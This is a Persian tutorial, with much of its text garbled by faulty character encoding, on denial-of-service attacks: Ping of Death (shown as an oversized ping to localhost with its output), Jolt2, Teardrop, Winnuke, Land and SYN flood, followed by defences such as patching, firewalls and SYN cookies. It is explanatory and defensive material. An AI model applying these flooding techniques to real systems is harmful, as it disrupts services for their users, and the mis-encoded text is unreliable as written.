اؾ  ICMPپؽَقً ثؿؼگتؽ اؾ زبلت مؼمُد غیؽ مدبؾ اقت، pingبد ثكتً ٌبی می نُظح ثب تُخً ثً ایىکً اؼق

ثب ظؼیبفت چىیه ثكتً ای مطتل می گؽظظ َ اؾ کبؼ می افتع ؾیؽا ثؽای مُاخً ثب ایکه  TCP/IPپهتً پؽَتکلی 

زبلت چُن چبؼي ای اوعیهیعي وهعي اقتح ایکه زمکلات ویکؿ ظؼ قیكکتم ٌکبی َیىکعَؾی، قیكکتم ٌکبی 

، ؼَتکؽ (Open Source Systems)َ قیكتم ٌبی مجتىی ثؽ پبیً مىجغ ثکبؾ  (Unix , Linux)کف مجتىی ثؽ یُوی

 ٌب )مكیؽیبة( َ چبپگؽٌب می تُاوع ثً اخؽا گػانتً نُظح

 کبؼثؽظ پیىگ مؽگجبؼ ثعیه يُؼت اقت:

C:\>ping -n 4294967295 -l 65500 -i 254 127.0.0.1 

: Pinging 127.0.0.1 with 65500 bytes of data 

Reply from 127.0.0.1: bytes=65500 time=4ms TTL=128 

Reply from 127.0.0.1: bytes=65500 time=3ms TTL=128 

Reply from 127.0.0.1: bytes=65500 time=3ms TTL=128 

Reply from 127.0.0.1: bytes=65500 time=4ms TTL=128 

Reply from 127.0.0.1: bytes=65500 time=3ms TTL=128 

Reply from 127.0.0.1: bytes=65500 time=4ms TTL=128 

Reply from 127.0.0.1: bytes=65500 time=3ms TTL=128 

Reply from 127.0.0.1: bytes=65500 time=3ms TTL=128 

Reply from 127.0.0.1: bytes=65500 time=3ms TTL=128 

Reply from 127.0.0.1: bytes=65500 time=3ms TTL=128 

Reply from 127.0.0.1: bytes=65500 time=5ms TTL=128 

Reply from 127.0.0.1: bytes=65500 time=4ms TTL=128 

Reply from 127.0.0.1: bytes=65500 time=3ms TTL=128 

Reply from 127.0.0.1: bytes=65500 time=3ms TTL=128 

Reply from 127.0.0.1: bytes=65500 time=3ms TTL=128 

Reply from 127.0.0.1: bytes=65500 time=3ms TTL=128 

Reply from 127.0.0.1: bytes=65500 time=3ms TTL=128 

Reply from 127.0.0.1: bytes=65500 time=4ms TTL=128 

Reply from 127.0.0.1: bytes=65500 time=4ms TTL=128 

Reply from 127.0.0.1: bytes=65500 time=4ms TTL=128 

Reply from 127.0.0.1: bytes=65500 time=3ms TTL=128 

Reply from 127.0.0.1: bytes=65500 time=3ms TTL=128 

Reply from 127.0.0.1: bytes=65500 time=3ms TTL=128 

Reply from 127.0.0.1: bytes=65500 time=3ms TTL=128 

Reply from 127.0.0.1: bytes=65500 time=4ms TTL=128 

Reply from 127.0.0.1: bytes=65500 time=3ms TTL=128 

Reply from 127.0.0.1: bytes=65500 time=3ms TTL=128 

Reply from 127.0.0.1: bytes=65500 time=3ms TTL=128 

Reply from 127.0.0.1: bytes=65500 time=3ms TTL=128 

Reply from 127.0.0.1: bytes=65500 time=5ms TTL=128 

Reply from 127.0.0.1: bytes=65500 time=3ms TTL=128 

Reply from 127.0.0.1: bytes=65500 time=3ms TTL=128 

Reply from 127.0.0.1: bytes=65500 time=5ms TTL=128 

Reply from 127.0.0.1: bytes=65500 time=3ms TTL=128 

Reply from 127.0.0.1: bytes=65500 time=3ms TTL=128 

Reply from 127.0.0.1: bytes=65500 time=3ms TTL=128 

Reply from 127.0.0.1: bytes=65500 time=3ms TTL=128 

Reply from 127.0.0.1: bytes=65500 time=3ms TTL=128 
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Reply from 127.0.0.1: bytes=65500 time=3ms TTL=128 

Reply from 127.0.0.1: bytes=65500 time=4ms TTL=128 

Reply from 127.0.0.1: bytes=65500 time=3ms TTL=128 

Reply from 127.0.0.1: bytes=65500 time=3ms TTL=128 

Ping statistics for 127.0.0.1: 

Packets: Sent = 54, Received = 54, Lost = 0 (0%loss) 

Approximate round trip times in mill-seconds: 

Minimum = 3ms, Maximum = 5ms, Average = 3ms 

ٌمبوطُؼ کً ظؼ ایه مثبد مهبٌعي کؽظیم، زدم ثكتً ٌب ثكیبؼ ثبلاقکت ککً ظؼ وتیدکً ایکه زملکً، قکؽَؼ 

 ظحُیب ؼیكت می ن کؽظي ٌىگ

 Jolt2حولات ًْع 

ظؼ ایه وُع اؾ زملات، یک قیل ُِلاوی َ َقیغ اؾ ثكتً ٌبی قطؼً قطؼً نعي)ظیبگؽا  ٌبی قطؼً قطؼً 

ؼ ثکیه ایکه قطؼکبت، مکی ثبیكکت قطؼکً اَد َخکُظ ظانکتً ٌب ثً قمت ٌعف اؼقبد می نُظح ظIPنعي( 

قیكکتم  IPُظ تکب ظؼ پؽَقکً تىظکیم نک Fragment Offset=0ثبنعح ظؼ ایىدب ثبیع قطؼً اَد ثکب مهطًکبت 

ٌعف، ثؽای ثبؾقبؾی ٌؽثكتً ٌمً قطؼبت ظؼ قیكتم ٌعف وگً ظانتً نُظح َلی ثؽ ضلاف ایىکبؼ ثكتً 

يُؼت ثیٍُظي ظؼ قیكتم ٌعف می مبوىع َ ظؼ پی تکؽاؼ اؼقبد ایه اَلی َخُظ وعاؼظ َ تمب  ثكتً ٌبی ثً 

قکؽاؼ مکی گیکؽظ َ پکؽ مکی نکُظح ثکب  IPقیل ثكتً ٌب، تمب  زدم مىبثغ قیكتم ٌکعف ظؼ اضتیکبؼ پؽَقکً 

 ، اؼتجبِ ٌعف ثب ظویبی ضبؼج قطغ می نُظح IPاضتلاد پؽَقً 

 Teardropحولات ًْع 

، ثکً قکمت ٌکعف Fragment Offsetغلّ ثب تىظیم  IPؼً نعي ظؼ ایه وُع اؾ زملات، ثكتً ٌبی قطؼً قط

اؼقبد می گؽظوعح ایه قطؼبت اؼقبلی ظؼ ایه وکُع اؾ زملکً، ثکً يکُؼت مؽتکت نکعي ویكکتىع َ ثکب ثکً ٌکم 

ککً ثکً يکُؼت پُیکب زبفظکً ؼا  TCP/IPظاؼوعح ثؽضی ا وكطً ٌبی  (Overlap)چكجیعي یب ؼَی ٌم افتبظگی 

ایه ثكتً ٌب ظچبؼ قؽظؼگمی َ اضکتلاد مکی نکُوع َ اؾ ککبؼ مکی افتىکعح  معیؽیت می کىىع ثب اؼقبد قیل

 وكص قعیمی َیىعَؾ َ لیىُکف اؾ ایه زملات ؼوح می ثؽوعح

 Winnukeحولات ًْع 

مکی ثبنکع، ظؼ مکُؼظ ایکه پکُؼت  139لاؾ  میعاوم قجل اؾ انکبؼي ثکً ایکه وکُع اؾ زملکً ککً مکؽتجّ ثکً پکُؼت 

 تَُیسبتی ؼَ ثع :

اثؿاؼی مؼؽَف اقت کً ثً مب اخکبؾي ثکً انکتؽاک  NetBiosمی ثبنعح NetBiosؽَیف ایه پُؼت مطًُو ق

گػاؼی مىبثغ ؼا ظؼ قطر نجکً می ظٌکعح ثُقکیلً ایکه پکُؼت مکی تکُان فبیکل ٌکب، پؽیىتکؽ ؼا ظؼ نکجکً ثکً 

تىٍب ظؼ قیكتم ػبمکل َیىکعَؾ نکىبضتً  NetBiosقؽَیف انتؽاک گػانتح وکتً قبثل تُخً ایىدبقت کً 

ویکؿ َخکُظ ظاؼوکع ککً ظؼ قیكکتم ػبمکل ٌکبی یُویکكکی مثکل  Sambaلکی اثؿاؼٌکبیی مبوىکع نعي اقت َ

َ  137،  138ػجبؼتىع اؾ  NetBiosپُؼت ٌبی ظؼ َیىعَؾ ػمل می کىىعح  NetBiosلیىُکف یب یُویکف ثً مبوىع 

 حثبنىع می UDPمی ثبنع َ ظَ پُؼت ظیگؽ اؾ وُع  TCPاؾ وُع  139پُؼت  کً اؾ ایه ثیه 139

 متؼلق ثً پؽَقً معیؽیت ظاظي ٌبی انتؽاکی ثبؾ اقتح 139یىعَؾ پُؼت ظؼ َ

ظؼ َیىعَؾ )ایه قؽَیف ثً ُِؼ پیه ؽٌ ظؼ َیىعَؾ فؼبد اقت( یؼىی می  NetBiosانتؽاک گػاؼی ثُقیلً 

 تُان فبیل ٌب ؼا ظؼ نجکً ثً انتؽاک گػانت َ آوٍب ؼا ضُاوع َ پبک کؽظ ححح
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 َیسبت ثیهتؽ ضُاٌم ظاظ  ((())) ظؼ مُؼظ ایه اثؿاؼ، ثؼعاً تُ

 

 زبد ثً نؽذ زملً می پؽظاؾیم:

مکی  TCP) ککً اؾ وکُع  139ظؼ ایه وُع اؾ زملات، ظاظي ٌبی ثکی اؼؾل َ ثكکیبؼ ِکُلاوی ثکً قکمت پکُؼت 

کً َقتی کً ظاظي ٌبی اؼقبلی ثً ایه پُؼت اؼقبد می نُوع َ ظؼ قبلت مهطى  ثبنع( اؼقبد می نُظ

وجبنىع، قیكتم ٌعف ظچبؼ اضتلاد می گکؽظظح  SMB (Server Message Block)َ تؼؽیف وهعي ای پؽَتکل 

 الجتً ایه مهکل ظؼ تمبمی وكص قیكتم ػبمل ٌب َخع وعاؼظ ثلکً ظؼ تؼعاظی اوعک َ اوگهت نمبؼ ححح

 

ظؼ تمبمی نم ؼَل غکؽ نعي، ايُد و ُغ َ ضؽاثکبؼی ثؽ پبیکً تىظکیم انکتجبي ثؽضکی اؾ فیلکعٌبی ثكکتً 

 اقت ثً ُِؼی کً آن پؽَقً ظچبؼ اضتلاد می نُظح TCP یب پؽَقً IPٌبی

 

 اص تیشّى DoSسّشِای هقاتلَ تا حولات 

اؾ ثیؽَن ثؽ ػلیکً ز کؽي ٌکب َ آقکیت پکػیؽی  DoSثعلیل ایىکً اکثؽیت )ثٍتؽي ثگُیم تمبمی( زملات  -1

ٌبی قیكتم ػبمل اودب  می نُوع، لػا معیؽ نجکً ثبیع ظؼ خؽیبن آقیت پػیؽی ٌبی یبفت نعي 

َ Patch ٌبی اؼائً نعي ثؽای ایه آقیت پػیؽی ٌب ثبنعح ثٍتؽ اقت ثؽای آگبٌی اؾ آقکیت پکػیؽی

ٌبی آوٍب ظؼ گؽَي ٌبی ضجؽی ػُُ ثُظي َ یب ثب نؽکت ِؽاذ قیكتم ظؼ تمبـ ثبنیع َ patchٌب َ 

 مؽثًُِ ؼا وًت کىیعح Patchثً مسٍ گؿاؼل آقیت پػیؽی، 

ٌبی ظؼَغیه اقت بظي می کىىعح ثؽای مقبثلً ثکب ایکه  ، اؾ آظؼـ ٌب َ آی پیLandزملاتی ٌمچُن  -2

کبؼ ثٍتؽ اقت اؾ فبیؽَاد ٌبی ثب قبثلیت تهطیى آظؼـ ٌبی خؼلی اقت بظي کىیع تب ثكتً ٌبی ثب 

 آظؼـ ٌبی مجعا َ مقًع مهبثً ؼا نىبقبیی َ زػف کىعح

 

 

 (Remote DoS Attacks)تَ جِت اتلاف هٌاتع عیغتن  DoSحولات 

زملات، یک پؽَقً، تمبمی مىبثؼی ؼا کً ظؼ اضتیبؼ ظاؼظ َ ثً َی اضتًبو ظاظي نعي اقکت ظؼ ایه گُوً اؾ 

ؼا ثً ُِؼ ثیٍُظي مًؽف َ اتلاف کىع َ ثً اتمب  ثؽقبوع کً ظؼ وتیدً ظؼ اظامً ثب مهکلات اضتلاد مُاخً می 

 کبؼ کىعح نُظ کً یب کبملاً مطتل می نُظ، یب ظچبؼ مهکل کىعی نعي َ یب ثً يُؼت غیؽ قبثل تسمل

 ظؼ ایىدب ثً ثؽؼقی ایىگُوً اؾ زملات می پؽظاؾیم:

 SYN Floodحولات 

َ قبػعي ظقت تکبوی  TCPقجل اؾ ایىکً ثً ثؽؼقی ایه وُع اؾ زملات ثپؽظاؾیم، لاؾ  اقت ظؼ مُؼظ اؼتجبِبت 

 تَُیسبتی ؼا معوظؽ قؽاؼ ظٌیم:
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 ثعیه يُؼت کً: ظح، ِجق قبػعي ظقت تکبوی قً مؽزلً ای نکل می گیؽTCPیک اؼتجبِ 

ثکؽای قکؽَؼ) مبنکیه  SYN=1ثکب تىظکیم ثیکت  TCPاَلیه مؽزلً ثکؽای تقبَکبی یکک اؼتجکبِ، اؼقکبد ثكکتً 

( ثکً نکؽِ آوککً ظؼ قکمت قکؽَیف ظٌىکعي پکُؼت SYNقؽَیف ظٌىعي( می ثبنع )مؽزلً اؼقبد ثكکتً 

 ایه پُؼت ظؼ زبلت نىُظ قؽاؼ ظانتً ثبنعح مؽثًُِ ثبؾ ثبنع َ پؽَقً ای کً پهت

اؾ قمت قؽَیف ظٌىعي ثکؽای متقبَکی اؼتجکبِ  SYN=1  َACK=1ظؼ مؽزلً ظَ ، یک ثكتً ثب مهطًبت 

 (SYN-ACKاؼقبد می نُظ) اؼقبد ثكتً 

کً ظؼ قمت قؽَیف ظٌىکعي )قکؽَؼ( قکؽاؼ  TCPوکتً ای کً ایىدب زبئؿ اٌمیت اقت ایه اقت کً پؽَقً 

آن ؼا ظؼ خکبیی  Sequence Number (ISN)، مستکُای فیلکع SYNظاؼظ، مدجکُؼ اقکت پکف اؾ ظؼیبفکت ثكکتً 

یکک  SYNثکً اؾای ظؼیبفکت ٌکؽ ثكکتً  TCPغضیؽي کىع تب آوکً ظؼ مؽزلً قُ  اؾ آن اقت بظي نکُظح پؽَقکً 

ؼا ظؼ آن غضیکؽي  SYNقطؼً اؾ فُبی زبفظً ؼا ثعیه مىظُؼ اضتًبو می ظٌع َ اِلاػکبت لاؾ  اؾ ٌکؽ ثكکتً 

 قُ  ظقت تکبوی اؾ آن اقت بظي کىعحمی کىع تب ظؼ آیىعي، ٌىگب  تکمیل مؽزلً 

 وٍبیی ثً قمت قؽَؼ می فؽقتع َ اؼتجبِ ثؽقؽاؼ می نُظح ACKمؽزلً قُ  قؽَیف گیؽوعي یک ثكتً 

ثُخُظ می آیع کً  (Half Open)ظؼیبفت کىع، یک اؼتجبِ ویمً ثبؾ َ غیؽ فؼبد  SYNٌؽثبؼ کً قؽَؼ، یک ثكتً 

، يظؼ آیىکعمی ثبیكتی خٍت تکمیل مؽازل َ فؼبد نعن آن 

آن ثكتً ظؼ زبفظکً غضیکؽي نکُظح ثکً اِلاػبتی اؾ فیلعٌبی 

، اؾ تمکب  اؼتجبِکبت ویمکً ثکبؾ، یکک TCPٌمیه مىظُؼ پؽَقکً 

يف تهکیل می نُظ َ اِلاػبت لاؾ  اؾ ٌؽ اؼتجبِ ویمکً ثکبؾ 

ؼا ظؼَن ایککه يککف غضیککؽي مککی کىککعح وقهککً زملککً اؾ ٌمککیه 

 قكمت پبیً ؼیؿی می نُظح

ثً قمت مقًع ثؽقکع َ  SYNتً ضت فؽٌ کىیم کً یک ثك

اِلاػبت لاؾ  اؾ آن ظؼَن يف غضیؽي نُظ َلی مؽازل ثؼکعی 

آن اظامً ویبثعح اِلاػبت ظؼَن يف ٌکب تکب مکعت ؾیکبظی ثکبقی 

ضُاٌىع مبوع تب آوکً ؾمبن قپؽی نعن اؾ زعی گػؼ کىع ککً َ اِلاػکبت يکف ٌکب ظَؼ ؼیطتکً نکُظح   مکعت 

 ثبویً [ 362تب  45مً ثبؾ يجؽ می کىع ثكیبؼ ؾیبظ اقتح ؾمبوی ثیه ثؽای تکمیل یک اؼتجبِ وی TCPؾمبوی کً 

 

(، نکطى SYN)اؼقکبد قکیل آقکبی ثكکتً ٌکبی  SYN Floodٌؽ زملً 

ؼا تُلیکع مکی کىکع َ ثکب  SYNثكکتً ٌکبی  حلقدَ تیٌِایدتو ُغگؽ ظؼ یک 

ظؼَغیه ثً قکمت ٌکعف اؼقکبد مکی کىکعح ظؼ  IPاقت بظي اؾ ثكتً ٌبی 

ظؼیبفت ٌؽ یک اؾ ثكتً ٌب، یک ػىًؽ ثکً يکف َ قؽَیف ظٌىعي ثً اؾای 

ایکه  یکی ثً تؼعاظ اؼتجبِبت ویمً ثبؾ اَکبفً مکی نکُظح چکُن ٌکیچ مُقکغ

تکمیل ومی نُظ، لػا يف مؽثُِکً نکؽَع ثکً ؼنکع  TCPاؼتجبِ ویمً ثبؾ 

تا صهاى عپشی شذى صهاى اًقضاء، صدف ادا ی ًخْاُدذ می کىع َ 

 تْد.

غگؽ پٍىبی ثبوع کبفی ؼا ظؼ اضتیکبؼ اگؽ ظؼ ُِد اخؽای ایه زملً نطى و ُ

ؼا ثکً قکمت  SYNظانتً ثبنع، کً ثتُاوع زدم ثكیبؼی اؾ ثكکتً ٌکبی 

ٌعف ث ؽقتع ثً ِکُؼی ککً قجکل اؾمکبن اوقُکبا َ ضکبلی نکعن يکف ٌکب 
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ثبقی ومکی مبوکع َ  TCPفُبی مدبؾ زبفظً آن پؽ نُظ َ ظؼ يف خبیی ثؽای پػیؽل تقبَبی ثؽقؽاؼی اؼتجبِ 

بؼ می افتع! اگؽچً پف اؾ اوقُبی ؾمبن يف تطلیً می نُظ َلی ایه ؾمبن ثكیبؼ ؾیبظ قؽَیف ظٌىعي اؾ ک

اقت اؾ ِؽفی ظیگؽ و ُغگؽ ثبیع ظؼ اؼقبد ثكتً ٌب ثكیبؼ قؽیغ ػمل کىکع َ ثبیکع ایکه ػمکل اؼقکبد تککؽاؼ 

اگش ایي عول تا چٌذ ّقت هکشساٌ اجشا شْد، عْسیظ دٌُذٍ تَ طْس دائن هختدل شدذٍ ّ اص  گؽظظح 

 هی افتذ. کاس

 

ایه زملً یک مهکل ظیگؽ ؼا ویؿ ثؽای قؽَیف ظٌىعي ثً َخُظ می آَؼظح آن ٌم ایىکً ثب ظؼیبفت یک ثكکتً 

SYN    گػنتً اؾ غضیؽي قبؾی اِلاػبت لاؾ  ظؼ يف ٌبی مؽثًُِ، ظؼ پبقص ثً ٌکؽ ثكکتً یکک ثكکتً ثىکب

SYN-ACK مسكُة می نُظح فکؽٌ  ثؽمی گؽظظ کً ظؼ زقیقت مؽزلً ظَ  اؾ ظقت تکبوی قً مؽزلً ای

خؼلی متؼلق ثً مبنیىی اقکت بظي کىکع ککً  IPاؾ آظؼـ ٌبی  SYNکىیم و ُغگؽ ٌىگب  اؼقبد ثكتً ٌبی 

ظؼ نجکً ایىتؽوت مُخُظ ثبنع َ ظؼ زبلت فؼبلیت ثبنعح ظؼ ایه زبلت قؽَیف ظٌىعي تسکت زملکً، ثكکتً 

چىیه ثكتً ٌبیی  تظبؼ ظؼیبفت ایهؼا ثً قمت آوٍب ٌعایت می کىعح چُن ایه مبنیه ٌب او SYN-ACKٌبی 

صدذهات ایدي حولدَ دس قا دة اص دعدت اؼقبد می کىع  (Reset)ؼا وعاؼوع ظؼ پبقص ثً آن ثكتً ؼیكت 

سفتي پٌِای تاًذ ظاُش هی شًْذ ّ ی هعوْلاً ًفْرگشاى کوتش ععی هی کٌٌذ کَ اص آدسط ُای 

سا پدظ هدی  Resetیغدتَ جعلی ّ ی فعال اعتفادٍ کٌٌذ صیشا دس ایدي حدال ّقتدی آى هاشدیي، 

فشعتذ، کوک اْاُذ کشد کَ صف استثاطات ًیوَ تاص ّ فعال شدشّع تدَ ادا ی شدذى کٌدذ چدْى 

هشخص اْاُذ شذ ّ اطلاعات هشتْط تدَ آى  Resetتکلیف یک استثاط ًیوَ تاص تا دسیافت تغتَ 

 اص صف حزف هی شًْذ.

تغدیاس تدالایی  RAMا اص لاصم تَ رکش ایي هطلة ًیدض ُغدت کدَ اگدش ُدذف هدْد ًددش هدا دس ایٌ د

 تشاْسداس تاشذ ّ تتْاًذ ُضاساى استثاط ًیوَ تاص سا دس اْد جای دُذ ُیچ گاٍ اشثاع ًخْاُذ شذ.

ؼا اة ایکه ٌکعف اظامکً ثعٌکع ککً ککل  SYNظؼ ایه زبلت و ُغگؽ مدجُؼ اقت کً زدم اؼقبد ثكکتً ٌکبی 

 حپؽ نُظ SYNپٍىبی ثبوع کبوبد قؽَیف ظٌىعي، ثب تؽافیک ثكتً ٌبی 

پظ هی تْاى ًتی َ گشفت کَ تشای ایي حا ت تایذ ًفْرگش اْدػ اص پٌِای تاًذ تدالایی )تیشدتش 

ثکب  T1مثلاً اگؽ قؽَیف ظٌىعي ٌعف، یکک ضکّ  اص پٌِای تاًذ عشّیظ دٌُذٍ ُذف( تشاْسداس تاشذ.

 T1بوکبد ویکبؾ ظاؼظ تکب ثتُاوکع ک T1ظاؼا ثبنع، و ُغگؽ ثً ضطی ثکب  ؽفیکت ثکیم اؾ ضکّ  Mbps 1.544 ؽقیت 

اظامً ظانتً ثبنىع و ُغگؽ ثکً  SYNي ؼا انجبع کىع َ اؾ کبؼ ثیىعاؾظ تب مُقؼی کً ثكتً ٌبی قؽَیف ظٌىع

تدا قثدل اص کشدف  SYNحودلات طغیداى ٌعف ضُظ )اؾ کبؼ افتبظن قؽَیف ظٌىعي ٌعف( ؼقیعي اقکتح 

 شٌااتَ هی شذًذ. DoSتَ عٌْاى هخشب تشیي حولات  Smurfحولات 

 

ثکؽ اقکبـ قسطکی َ کمجکُظ نکعیع  DoSایه ؼَل ثؽای ایدبظ یک زملً  :SYNحولات جوع تٌذی کاهل 

ثکً  SYN، قکؽَیف گیؽوکعي یکک تقبَکبی TCPمىبثغ ػمل می کىکعح ظؼ ِکُد ثؽقکؽاؼی یکک اؼتجکبِ مؼمکُلی 

ثً کلایىت )قؽَیف گیؽوکعي( پبقکص  SYN-ACKقؽَیف ظٌىعي می فؽقتع، قپف قؽَیف ظٌىعي ثب یک 

 وٍبیی ثً قؽَؼ اؼقبد می کىعَ ثً ایه تؽتیت اؼتجبِ ثؽقؽاؼ می نُظح ACKىت یک می ظٌعح ظؼ وٍبیت کلای

ثً قؽَؼ ٌعف اؼقبد می کىکع ککً  SYN، زملً کىىعي چىعیه تقبَبی SYNامب ظؼ زملً ِغیبن ثكتً ٌبی 

آظؼـ ٌکبی خؼلکی ظؼ  حاؼقبد می نُوعخؼلی ثب ػىُان آظؼـ ثؽگهتی،  IPایه اؼقبد ٌب ثب آظؼـ ٌبی 

ثً آظؼـ ٌبی وبمُخُظ پبقص مکی ظٌکعح اؾ آودکب ککً  ACK-SYNظ وعاؼوع َ قؽَؼ ٌعف قپف ثب نجکً َخُ

مکی مبوکع َ  ACKٌب ؼا ظؼیبفت ومی کىع، قؽَؼ ٌعف اؾ ِؽف کلایىت مىتظؽ ثكتً  SYN-ACKٌیچ آظؼقی 
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 ی ظؼ کبؼ ویكت، ؾمبن اوتظبؼ قؽَؼ ٌعف پف اؾ معتی ثً پبیبن می ؼقعح اگؽ زملکً کىىکعيACKچُن ٌیچ 

ث ؽقتع، مىبثغ مُخُظ ظؼ قکؽَؼ ٌکعف ثکؽای ثؽقکؽاؼی یکک اتًکبد َ  SYNثً اوعاؾي کبفی َ مؽتت تقبَبٌبی 

ٌکبی خؼلککی مًکؽف ضُاٌکع نکعح ایکه مىککبثغ مؼمکُلاً اؾ وظکؽ تؼکعاظ اوعکىکعح ثىککبثؽیه ACKاوتظکبؼ ثکؽای ایکه 

 ُوعحن DoSخؼلی زتی ثب تؼعاظ وكجتبً کم می تُاوىع ثبػ  ثؽَؾ یک زملً  SYNتقبَبٌبی 

 

 :SYN Floodسّػ ُای هقاتلَ تا حولات 

اقکتح ظؼ ککُکی  SYN، ککُکی ٌکبی SYN Floodیک ظفبع خعیع ػلیً زمکلات :SYNکْکی ُای  -1

ضُظل ؼا ظاؼظح ظؼ پبقکص ثکً یکک  (Sequence Number) ، ٌؽ ِؽف اؼتجبِ، نمبؼي تُالیSYNٌبی 

SYN ؾ اؼتجبِ ایدبظ می کىع قیكتم ٌعف مُؼظ زملً َاقغ می نُظ، یک نمبؼي تُالی مطًُو ا

کً یک کُکی اقت َ قپف ٌمً چیؿ ؼا فؽامُل می کىع یب ثً ػجبؼت ظیگؽ اؾ زبفظکً ضکبؼج مکی 

کىعح کُکی ظؼ مُؼظ اؼتجبِ، اِلاػبت لاؾ  ؼا ظؼ ثؽظاؼظحثىبثؽایه ثؼعاً می تُاوىع ٌىگبمی کً ثكتً ٌکب 

 ظ اؼتجبِ ؼا ایدبظ می کىعحاؾ یک اؼتجبِ قبلم می آیىع، مدعظاً اِلاػبت فؽامُل نعي ظؼ مُؼ

ثدبی تطًیى یک نیا اؾ وُع اؼتجبِ کبمکل ککً ثبػک  انکغبد فُکبی ؾیکبظ َ  تلاک ُای کْچک: -2

تطًیى ظٌیعح پجکبظي قکبؾی  (Micro-Record)وٍبیتبً انکبد ظؼ زبفظً می نُظ، یک ؼکُؼظ کُچک 

 ثبیت ؼا اضتًبو می ظٌىعح 16ٌبی َؼَظی، تىٍب SYNٌبی خعیعتؽ ثؽای 

امکب ممککه اقکت ثکب  ٌكکتىعح SYNایه کُکی ٌب، خبیگؿیىی ثؽای کُکی ٌبی :RSTی کْکی ُا -3

قیكتم ػبمل ٌبی قعیمی مهکل ظانتً ثبنعح ؼَل مکػکُؼ ثکعیه يکُؼت اقکت ککً قکؽَیف 

انتجبي ثً قؽَیف ظٌىعي اؼقبد می کىکعح قکؽَیف گیؽوکعي )کلایىکت( ثبیکع  ACK-SYNظٌىعي یک 

ؼ( ثگُیع کً چیؿی انتجبي اقکتح ظؼ ایىدکب قکؽَؼ مکی تُلیع َ ثً قؽَیف ظٌىعي )قؽَ RSTثكتً 

 فٍمع کً کلایىت مؼتجؽ ثُظي َ اؼتجبِ َؼَظی اؾ آن کلایىت ؼا ثً ُِؼ ِجیؼی ضُاٌع پػیؽفتح

مکی تُاوىکع ظقکتکبؼی نکُوعح  SYNثً مىظُؼ ککبٌم ظاظن تکبثیؽات ِغیکبن ٌکبی  TCPپهتً ٌبی 

اؾ ایه اقت کً پهتً، فُبی اضتًبو ظاظي قجل  (Timeout)مؼمُد تؽیه مثبد کبقته ؾمبن اوقُبا 

 ، آؾاظ کىعح تکىیک ظیگؽ قطغ کؽظن ثؽضی اؼتجبِبت ثً يُؼت اوتطبثی اقتحTCPنعي ؼا ثً یک 

 

 می تُان ثً نکل ؾیؽ ػمل کؽظ: SYN Floodثب زملات  هقاتلَ جذیثؽای 

 

 تىٍکب  ای ثکؽای خلکُگیؽی اؾ ایکه زملکً َخکُظ وکعاؼظ َ ثً ُِؼ کلکی ٌکیچ ؼاي تُکمیه کىىکعي

ٌککب  ٌککبی متککعاَد َ کککم کککؽظن اثککؽات قککبیؽ ؼَل ٌککبیی ثککؽای خلککُگیؽی اؾ ثؽضککی ؼَل ؼاي

ػىُان قبثکل پیهکگیؽی ویكکت، ثکً ػىکُان  ٌب ثً ٌیچ مُخُظاقت، چؽا کً ثكیبؼی اؾ ؼَل

ای اؾ قبیت ؼا ثبؾ کىىکع، ایکه ظؼضُاقکت  ي سً zombie ثب يعٌؿاؼ botnet مثبد اگؽ نجکً

تککُان تهککطیى ظاظ کککً ظؼضُاقککت ظٌىککعي قیكککتم  ومییککک ظؼضُاقککت ػککبظی ثککُظي َ 

 .ؼا گؽفت تُان خلُی آن َ ثً ٌمیه خٍت ومی zombie مؼمُلی اقت یب

  پؽٌؿیىً تؽیه ؼاي مقبثلً ثب زمکلات ِغیکبنSYN  اقکت بظي اؾ پٍىکبی ثبوکع ثکبلا َ کبوکبد ٌکبی

 متؼعظ ثؽای قؽَؼٌبقتح

 ٌبی تهطیى ظٌىعي اقت بظي اؾ قیكتم (IPS) هطیى ثؽاقبـ قکؽػت ٌبی ت قیكتم

ٌب ویؿ ؼَل مىبقکجی ثکؽای خلکُگیؽی اؾ ایکه زمکلات  َ ایىگُوً قیكتم (RBIPS) ٌب ثكتً

 .اقت

  ثؽای پبقطگُیی ثً ایه زملات اؾSYN cookie گؽظظح قکؽَؼ ثکب ظؼیبفکت  اقت بظي میSYN 

Segment ثً خبی ایدکبظ یکک connection ویمکً ثکبؾ یکک TCP ثکب  قکؽاؼظاظ ٌکعایت اوتقکبد َ

http://fa.wikipedia.org/w/index.php?title=SYN_cookie&action=edit&redlink=1
http://fa.wikipedia.org/w/index.php?title=SYN_Segmant&action=edit&redlink=1
http://fa.wikipedia.org/w/index.php?title=SYN_Segmant&action=edit&redlink=1
http://fa.wikipedia.org/w/index.php?title=SYN_Segmant&action=edit&redlink=1
http://fa.wikipedia.org/wiki/%D9%82%D8%B1%D8%A7%D8%B1%D8%AF%D8%A7%D8%AF_%D9%87%D8%AF%D8%A7%DB%8C%D8%AA_%D8%A7%D9%86%D8%AA%D9%82%D8%A7%D9%84
http://fa.wikipedia.org/wiki/%D9%82%D8%B1%D8%A7%D8%B1%D8%AF%D8%A7%D8%AF_%D9%87%D8%AF%D8%A7%DB%8C%D8%AA_%D8%A7%D9%86%D8%AA%D9%82%D8%A7%D9%84
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 ثکً ایدکبظ ACK کىکعح قکپف تىٍکب ظؼ يکُؼت ظؼیبفکت آن ؼا اؼقکبد می SYN ACK اؼقکبد

connection آَؼظ َ اضتًبو مىبثغ ؼَی می. 

  ٌکبی متکعاَد َ ثٍتکؽیه ؼاي خلکُگیؽی اقکت، الجتکً  یککی اؾ ؼاي ٌبی آتم ظیُاؼياقت بظي اؾ

ٌکبی آتهکی مىبقکجىع ککً ثکً  نکُظ َ تىٍکب ظیُاؼي ومی آتهی تُيکیً اقت بظي اؾ ٌؽ ظیُاؼي

 .اوع ِؽازی نعي DoS ٌعف خلُگیؽی اؾ

 قؽَؼ ثبیع مىبثغ زبفظً ثكیبؼ ؾیبظی ظاؼا ثبنعح 

  اگؽ یکک قکؽَؼ زكکبـ َ کلیکعی ظؼ نکجکً َخکُظ ظاؼظ ککً ثبیکع ظائمکبً فؼکبد ثبنکع، ثکؽای

 بظي اؾ  ککؽف ػكککل ، اقککتSYNمسبفظکت اؾ ایىگُوککً اؾ قککؽَؼٌب ظؼ مقبثککل زمکلات ِغیککبن 

اقتح ثعیه گُوً کً مب یک مبنیه پهتیجبن ؼا ظؼ وقطً ظیگکؽ اؾ نکجکً ایىتؽوکت قکؽاؼ مکی 

مدؿا معیؽیت َ قبؾمبوعٌی می کىکیم ککً ظَمکی  ISPظٌیمح یؼىی َثكبیت ضُظ ؼا ظؼ ظَ 

ثکً زملکً کىىکعي اخکبؾي مکی  SYN Floodپهتیجبن اَلی َلی پىٍبن ثبنعح ثب نؽَع زملکً 

